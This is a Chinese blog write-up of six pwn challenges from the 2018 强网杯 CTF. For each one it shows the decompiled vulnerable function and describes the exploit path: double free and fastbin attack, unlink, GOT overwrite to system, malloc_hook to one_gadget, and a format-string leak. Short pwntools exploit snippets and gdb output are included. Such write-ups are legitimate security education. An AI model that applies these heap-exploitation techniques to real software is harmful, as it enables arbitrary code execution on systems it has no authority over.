前言

本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错

程序和 exp:

https://gitee.com/hac425/blog_data/blob/master/qwb2018/

正文

silent

漏洞

free 的时候指针没有清空,而且程序没有 检测指针是否已经被释放 double free, 后面的 编辑功能也没有检验指针是否已经被 free ,所以 uaf

signed __int64 free_()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &i);
getchar();
if ( i < 0 || i > 9 )
return 0xFFFFFFFFLL;
free(ptr_table[i]);
return 0LL;
}

利用

new 一个内存的时候我们可以任意大小的内存,我们现在的能力

  • 分配任意大小的内存
  • double free
  • uaf

Double Free ----> Fastbin Attack

可以利用 fastbin 检测 double free 的特点来利用。把一个 chunk 加入 fastbin 是如果相应 fastbin 的第一项和要加入的 chunk 不是同一个即可

add("/bin/sh\x00", 0x60)
add("1"*0x20, 0x60)
add("2"*0x20, 0x60)
add("3"*0x20, 0x60) delete(1)
delete(2)
delete(1) gdb.attach(p)
pause()

这样就会形成一个 下面的 fastbin

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>

0x603070fastbin 链 中出现了两次,于是分配两次,0x603070 会被分配,而且 0x603070 会成为 fastbin 的第一个 chunk . 我们就可以通过 double free 实现 fastbin attack 的目的(其实这里可以直接改,因为有 uaf)

现在的目的是找 一个地址处存放 size 的位置来 bypass fastbin 的 检查。

在程序的 bss 段存有 std 的指针

.bss:0000000000602080                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000602080 public stdout
.bss:0000000000602080 ; FILE *stdout
.bss:0000000000602080 stdout dq ? ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080 ; sub_4007F0+6↑o ...
.bss:0000000000602080 ; Copy of shared data
.bss:0000000000602088 align 10h
.bss:0000000000602090 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090 ; init_+17↑r
.bss:0000000000602090 ; Copy of shared data
.bss:0000000000602098 align 20h
.bss:00000000006020A0 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0 ; init_+53↑r
.bss:00000000006020A0 ; Copy of shared data

这些指针之间有一些填充空间(会被填充为0), 然后 std 的指针的最低字节 就有可能 可以作为 fastbinsize .

于是修改大小为 0x70fastbinfd0x60209d, 然后分配 2 次,我们就可以分配到 bss, 然后通过修改 ptr_table 来修改 got 表,使得 free@gotsystem@plt

修改 ptr_table[0] --> free@got

add(p64(0x60209d), 0x60)
add("5"*0x20, 0x60)
add("6"*0x20, 0x60) add('\x00'*0x13+p64(0x602018), 0x60) # ptr0 --> free@got p.clean()
edit(0, p64(0x00400730), "") # free@got ---> system@plt delete(3) # free("/bin/sh\x00") ---> system("/bin/sh\x00")

silent2

漏洞

silent 的基础上限制我们不能分配 fastbin

利用

分配两个 0x90chunk ,然后释放掉

分配一个大的 chunk 重用上面的空间,伪造 free chunk , 触发 unlink

strlen@gotsystem@plt

opm

漏洞

add 功能处使用 gets 来读入字符串到 stackbuf 而且 buf 后面有 obj_ptr ,我们可以溢出覆盖 obj_ptr

obj *add()
{
obj *obj; // rbx
obj *obj_; // rbx
size_t name_len; // rax
obj *obj__; // rbx
char buf; // [rsp+0h] [rbp-1A0h] // 输入的缓冲区
obj *obj_ptr; // [rsp+80h] [rbp-120h] // obj 指针
char *v7; // [rsp+100h] [rbp-A0h]
unsigned __int64 v8; // [rsp+188h] [rbp-18h] v8 = __readfsqword(0x28u);
obj = operator new(0x20uLL);
init_obj(obj);
obj_ptr = obj;
obj->show_func = show_func;
puts("Your name:");
gets(&buf);
obj_ = obj_ptr; // gets 可以覆盖 obj_ptr
obj_->len = strlen(&buf);
name_len = strlen(&buf);
v7 = malloc(name_len);
strcpy(v7, &buf);
obj_ptr->nameptr = v7;
puts("N punch?");
gets(&buf); // gets 可以覆盖 obj_ptr
obj__ = obj_ptr;
obj__->punch = atoi(&buf);
show_func(obj_ptr);
return obj_ptr;
}

有一个比较麻烦的点就是 gets 会在读入的字符串后面加入一个 \x00

信息泄露

泄露 heap 地址

主要的思路就是把 addr 写入 name 的缓冲区中,然后 printf 出来

add("a" * 0x70, str(32))
add("b" * 0x80 + "\x10", '1') # 把 role0 布置到 0010, name 会被分配到 8d00-0x10
log.info("role obj in 0010, and name_buf contain 8d00")
# 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
# 为了后面调用 show(0010), 打印出 内容
add("c" * 0x80, "2"*0x80 + "\x10")
log.info("write a name_ptr to 8d00")

具体内存布局如图

0x5555557560e0role_table 的地址, 可以看到 role_table[1]role_table[2] 的是一样的,成功把 name ptr 写入了 role->name 里面

泄露 程序基地址 && libc

后面通过 泄露的 heap 地址,和指针覆盖 来布局,leak 即可

修改 strlen@got 为 system

利用 obj->punch 局部修改

note

漏洞

在修改 title 的位置

char *change_title()
{
char *result; // rax
signed int i; // eax
unsigned __int8 c; // [rsp+Bh] [rbp-5h]
signed int index; // [rsp+Ch] [rbp-4h] printf("enter the title:");
index = 0;
while ( 1 )
{
c = getchar();
if ( check_black_list(c) )
break;
if ( index > 0x27 )
{
result = title + 0x27; // 最多 40 个字符
title[0x27] = 0;
return result;
}
i = index++;
title[i] = c;
}
result = c;
title[index] = c;
return result;
}

title 是一个 0x28 字节的 buf, 如果我们在 index=0x28 时输入 black_list 中的字符,就会跳出循环,然后 title[0x28] = black_char, off by one 。我们看看溢出的那个字节可以写入什么

0000000000602010  0A 21 3F 40 22 27 23 26  00

利用

off by one 可以通过 伪造 free chunk 来触发 unlink ,所以选择 0x40, 通过调试可以知道,title 后面跟着的是 content

然后溢出后就可以设置 content 所在 chunk->size = 0x40

然后通过 realloc 一个很大的值,使得无法 通过扩展 chunk 来分配,这样就会把 content 放入 fastbin

再通过 realloc 一个很大的内存,触发 会把 content 进入 smallbin 并且触发堆合并,触发 unlink.

之后修改 __realloc_hooksystem

raisepig

漏洞

eat_pig 功能处可以 double free

__int64 eat_pig()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u);
if ( pig_count )
{
printf("Which pig do you want to eat:");
_isoc99_scanf("%d", &i);
if ( i > 0x63 || !pig_table[i] ) // 这里只是判断,pig指针是不是为0
{
puts("Invalid choice");
return 0LL;
}
srand(0);
pig_table[i]->is_lived = 0;
free(pig_table[i]->name_ptr); // free掉name指针,没有free pig
}
else
{
puts("No pig");
}
return 0LL;
}

所以我们可以 多次 free(pig_table[i]->name_ptr)

利用

  • 由于在分配内存时使用 malloc , 而且分配后没有对内存进行清空,而且读入数据使用 read, 可以泄露出 libc

  • 然后分配几个 0x90chunk , 释放中间两个会合并成一个大的 unsorted bin

  • 然后分配大的 chunk 就可以拿到刚刚合并生成的大 chunk , 结合 double free,进行 fastbin attack

  • 修改 fastbin->fd = 0x81 分配一次后可以在 main_arean 有一个 p64(0x81)

  • 使用 fastbin attack 可以修改 main_arean->topmalloc_hook-0x10

  • 然后分配内存修改 malloc_hookone_gadget

  • 重复 free 同一个内存(不进行伪造),触发 malloc_printerr (这样更稳), 会调用 malloc, getshell

gamebox

漏洞

play 函数中,调用 rand 函数初始化了 24 字节的 随机字符串,如果猜对了,就会调用 record 函数进行记录

size 由我们输入,可以看到分配了 size 的内存 , 后面写的时候 name[size] 会溢出一个字节,不过只能溢出 \x00, off by null.

然后在 show 函数有格式化字符串漏洞

unsigned __int64 show()
{
signed int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u);
puts("=======RANK LIST=======");
for ( i = 0; i <= 9; ++i )
{
if ( obj_table[i].name_ptr )
{
putchar(i + '0'); // 打印名次
putchar(':');
printf(obj_table[i].name_ptr); // name_ptr 作为 printf的第一个参数,格式化
}
}
puts("=======================");
return __readfsqword(0x28u) ^ v2;
}

利用

rand 默认使用 srand(1), 我们本地调用 libcsrand(1)rand 就可以生成相同的字符串

利用格式化字符串漏洞,泄露 libc 和 程序的基地址

off by null 直接套用 how2heap ,就可以 overlap heap

这时就可以利用 raisepig 的思路 或者 使用 unlink

参考

http://tacxingxing.com/2018/03/28/2018qwb/

强网杯2018 pwn复现的更多相关文章

  1. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  2. 【强网杯2018】Gamebox

    参考: https://www.cnblogs.com/hac425/p/9416787.html http://tacxingxing.com/2018/03/28/2018qwb/ 事后复盘pwn ...

  3. 强网杯2018 Web签到

    Web签到 比赛链接:http://39.107.33.96:10000 比赛的时候大佬对这题如切菜一般,小白我只能空流泪,通过赛后看别人的wp,我知道了还有这种操作. 这个赛题分为3层 第一层 Th ...

  4. 【强网杯2018】逆向hide

    这是事后才做出来的,网上没有找到现成的writeup,所以在这里记录一下 UPX加壳,而且linux下upx -d无法解,也无法gdb/ida attach 因为是64位,所以没有pushad,只能挨 ...

  5. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  6. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  7. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  8. 第二届强网杯-simplecheck

    这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...

  9. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

随机推荐

  1. 【xsy1120】 支援(assist) dp+卡常

    妙啊算错时间复杂度了 题目大意:给你一棵$n$个节点的二叉树,每个节点要么是叶子节点,要么拥有恰好两个儿子. 令$m$为叶子节点个数,你需要在这棵二叉树中选择$i$个叶子节点染色,叶节点染色需要一定的 ...

  2. js实现仿华为手机计算器,兼容电脑和手机屏幕

    效果图: 电脑端: 手机端: 源码: <!DOCTYPE html> <html lang="en"> <head> <meta char ...

  3. 2018春招-今日头条笔试题-第二题(python)

    题目描述:2018春招-今日头条笔试题5题(后附大佬答案-c++版) 解题思路: 利用深度优先搜索 #-*- coding:utf-8 -*- class DFS: ''' num:用于存储最后执行次 ...

  4. sql 函数字符串处理

    --Description: 字符处理 --使用: 放到查询分析器里执行就可以了 --示例: select * from dbo.splitstr('12 44 45 50 56 87',' ') o ...

  5. C/C++ -- Gui编程 -- Qt库的使用 -- QtWidget

    #include<QtGui> int main(int argc, char * argv[]) { QApplication app(argc, argv); QTextCodec:: ...

  6. 简述C和C++的学习历程

    总是被问到,如何学习C和C++才不茫然,才不是乱学,想了一下,这里给出一个总的回复. 一家之言,欢迎拍砖哈. 1.可以考虑先学习C. 大多数时候,我们学习语言的目的,不是为了成为一个语言专家,而是希望 ...

  7. linux解压.tar.xz压缩包

    今天,打算更新一下node版本(v6.11.1 -> v8.9.4),结果阿里云服务器使用nvm命令下载慢如牛,于是直接在node官网找到合适的v8.9.4压缩包下载到电脑里,然后up到阿里云服 ...

  8. protocol buffers生成go代码原理

    本文描述了protocol buffers使用.proto文件生成pb.go文件的过程 编译器 编译器需要插件来编译环境,使用如下方式安装插件:go get github.com/golang/pro ...

  9. 忽略“Signal: SIGSEGV (Segmentation fault)”

    1. touch ~/.gdbinit 2. 在.gdbinit文件中添加“handle SIGSEGV nostop noprint pass”

  10. docker 微镜像-alpine

    刚想找maven自动发布项目到tomcat, 突然看到个好玩的, docker微镜像 -- alpine 直接粘一段: Alpine Linux Docker镜像基于Alpine Linux操作系统, ...